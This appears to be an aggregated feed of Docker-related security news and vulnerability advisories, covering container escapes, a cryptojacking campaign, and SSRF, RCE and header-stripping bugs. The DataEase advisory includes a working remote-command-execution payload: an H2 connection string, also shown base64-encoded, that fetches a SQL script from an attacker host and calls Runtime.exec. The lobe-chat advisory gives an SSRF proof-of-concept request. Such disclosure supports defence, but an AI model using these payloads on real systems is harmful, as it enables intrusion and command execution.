#docker

A vulnerability exists in the bind-propagation option of the Dockerfile RUN --mount instruction. The system does not properly validate the input passed to this option, allowing users to pass arbitrary parameters to the mount instruction. This issue can be exploited to mount sensitive directories from the host into a container during the build process and, in some cases, modify the contents of those mounted files. Even if SELinux is used, this vulnerability can bypass its protection by allowing the source directory to be relabeled to give the container access to host files.

Cybersecurity researchers have uncovered a new cryptojacking campaign targeting the Docker Engine API with the goal of co-opting the instances to join a malicious Docker Swarm controlled by the threat actor. This enabled the attackers to "use Docker Swarm's orchestration features for command-and-control (C2) purposes," Datadog researchers Matt Muir and Andy Giron said in an analysis. The attacks

Gentoo Linux Security Advisory 202409-29 - Multiple vulnerabilities have been discovered in Docker, the worst of which could result in denial of service. Versions greater than or equal to 25.0.4 are affected.

A critical security flaw has been disclosed in the NVIDIA Container Toolkit that, if successfully exploited, could allow threat actors to break out of the confines of a container and gain full access to the underlying host. The vulnerability, tracked as CVE-2024-0132, carries a CVSS score of 9.0 out of a maximum of 10.0. It has been addressed in NVIDIA Container Toolkit version v1.16.2 and

Developers need to do more than scan code and vet software components, and ops should do more than just defend the deployment pipeline.

Developers need to do more than scan code and vet software components, and ops should do more than just defend the deployment pipeline.

Leverage Cloud App Development and DevOps to boost business agility, scalability, and security. Optimize operations, deploy faster, and…

### Summary SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address. ### PoC 1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210; 2. Create file dummy-server.js with the following content: ``` var http = require('http'); console.log("running server"); http.createServer(function (req, res) { console.log(req.url); res.writeHead(200, {'Content-Type': 'text/html'}); res.end(); }).listen(3001, 'localhost'); ``` And run ``` node dummy-server.js ``` as an example server inside of container [1] (or in containers private network). 3. Run in terminal to perform request to lobe-chat instance from [1] ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0....

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CA...

### Impact There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For). ### Patches - https://github.com/traefik/traefik/releases/tag/v2.11.9 - https://github.com/traefik/traefik/releases/tag/v3.1.3 ### Workarounds No workaround. ### For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in ...